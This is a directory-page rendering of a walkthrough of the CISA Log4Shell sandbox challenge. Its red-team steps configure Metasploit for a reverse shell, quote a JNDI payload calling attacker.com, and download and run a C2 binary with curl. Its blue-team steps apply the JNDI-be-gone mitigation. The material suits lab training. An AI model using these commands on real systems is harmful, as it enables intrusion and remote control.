Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Sandbox-Challenge-Log4Shell-CVE-2021-44228- — CISA Log4Shell 沙箱挑战的分步演练,涵盖通过 Metasploit 进行攻击性利用以及使用 JNDI-be-gone Java 代理进行防御性缓解。 | Kitploit
工具/GitHubGitHub/felisha-elmer/sandbox-challenge-log4shell-cve-2021-44228-
防御工具漏洞分析漏洞利用渗透测试学习与教育红队事件响应实验室与实践
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
felisha-elmer/sandbox-challenge-log4shell-cve-2021-44228-

Sandbox-Challenge-Log4Shell-CVE-2021-44228-

CISA Log4Shell 沙箱挑战的分步演练,涵盖通过 Metasploit 进行攻击性利用以及使用 JNDI-be-gone Java 代理进行防御性缓解。

查看仓库
63个月前尚未审核

沙箱挑战:Log4Shell (CVE-2021-44228)

概述

本演练记录了完成 CISA 威胁沙箱挑战(CVE-2021-44228,俗称 Log4Shell)所采取的步骤。该挑战涉及在一个隔离的沙箱环境中,针对虚构的 IT 管理服务提供商(MSP)DasMSP 完成两个目标——一个红队(攻击方)目标和一个蓝队(防御方)目标。

注意: 本演练中的命令和文件路径反映了在此环境中采取的具体步骤。您的环境可能有所不同,包括 IP 地址、文件位置和工具可用性。请根据您的配置调整命令。


背景

CVE-2021-44228 是一个影响特定版本 Apache Log4j Java 日志框架的严重远程代码执行(RCE)漏洞(CVSS 10.0)。该漏洞源于 Log4j 的 JNDI 查找功能,该功能可通过将诸如 ${jndi:ldap://attacker.com/exploit} 之类的特制字符串注入 Log4j 所记录的任何数据来触发。如果攻击者能够让易受攻击的应用程序记录恶意字符串(通常通过 HTTP 头),Log4j 将联系攻击者控制的服务器并执行任意代码。

Log4Shell 于 2021 年 12 月 10 日被添加到 CISA 的已知被利用漏洞(KEV)目录,并出现在 2021 年和 2022 年“经常被利用的顶级漏洞”联合公告中。


环境

机器IP
Security-Desk<Security-Desk-IP>
Red Target<Red-Target-IP>
Blue Target<Blue-Target-IP>

两个目标系统均为 Linux,并运行一个易受攻击的 Java Web 应用程序(dasmsp.jar),该程序使用了受影响的 Log4j 版本。


使用的工具

  • Metasploit Framework(exploit/multi/http/log4shell_header_injection)
  • curl
  • Python3 HTTP Server
  • SSH
  • SCP
  • systemctl
  • nano

红队目标:在红色目标上部署 C2 监听器

步骤 1 — 启动 Metasploit

在 Security-Desk 上打开终端并启动 Metasploit:

root@kitploit:~
msfconsole

步骤 2 — 搜索 Log4Shell 模块

简报中提供的模块路径与已安装版本不匹配。搜索正确的模块:

root@kitploit:~
search log4shell

识别出正确的模块:exploit/multi/http/log4shell_header_injection。

步骤 3 — 配置漏洞利用

root@kitploit:~
use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>

步骤 4 — 运行漏洞利用

root@kitploit:~
run

Metasploit 自动针对多个 HTTP 头部测试了 Log4Shell 漏洞。红色目标被确认在多个头部(Authorization、Cache-Control、User-Agent、X-Forwarded-For 等)上存在漏洞。一个命令 shell 会话被打开到红色目标。

步骤 5 — 验证 Shell 访问权限

确认在红色目标上拥有 root 级别访问权限:

root@kitploit:~
id

输出:uid=0(root) gid=0(root) groups=0(root)

步骤 6 — 传输并执行 deploy_c2

deploy_c2 二进制文件位于 Security-Desk 上,而非红色目标上。目标上既没有 wget,也没有直接路径引用。在 Security-Desk 上打开第二个终端并通过 Python 提供文件服务:

root@kitploit:~
cd ~/Desktop/Resources
python3 -m http.server 8080

回到红色目标上的 Metasploit shell 会话中,下载并执行二进制文件:

root@kitploit:~
curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2

输出:Done!

✅ C2 监听器已在红色目标上部署 检查已确认。


蓝队目标:在蓝色目标上缓解 CVE-2021-44228

所使用的缓解方法是由 NCC Group 开发的 log4j-jndi-be-gone-standalone.jar Java 代理,它在运行时修补 JNDI 查找行为,无需修补底层应用程序。有关此代理的详细信息,请参阅 NCC Group 研究博客。

步骤 1 — 将 Java 代理传输到蓝色目标

从 Security-Desk 终端,使用 SCP 传输 Java 代理 JAR 文件:

root@kitploit:~
scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/

步骤 2 — SSH 连接到蓝色目标

root@kitploit:~
ssh playerone@<Blue-Target-IP>

步骤 3 — 编辑服务单元文件

root@kitploit:~
sudo nano /etc/systemd/system/dasmsp.service

找到 ExecStart 行并添加 -javaagent 标志:

之前:

root@kitploit:~
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar

之后:

root@kitploit:~
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar

使用 Ctrl+O → Enter → Ctrl+X 保存。

步骤 4 — 重新加载并重启服务

root@kitploit:~
sudo systemctl daemon-reload
sudo systemctl restart dasmsp

✅ CVE-2021-44228 已在蓝色目标上缓解 检查已确认。

下载工具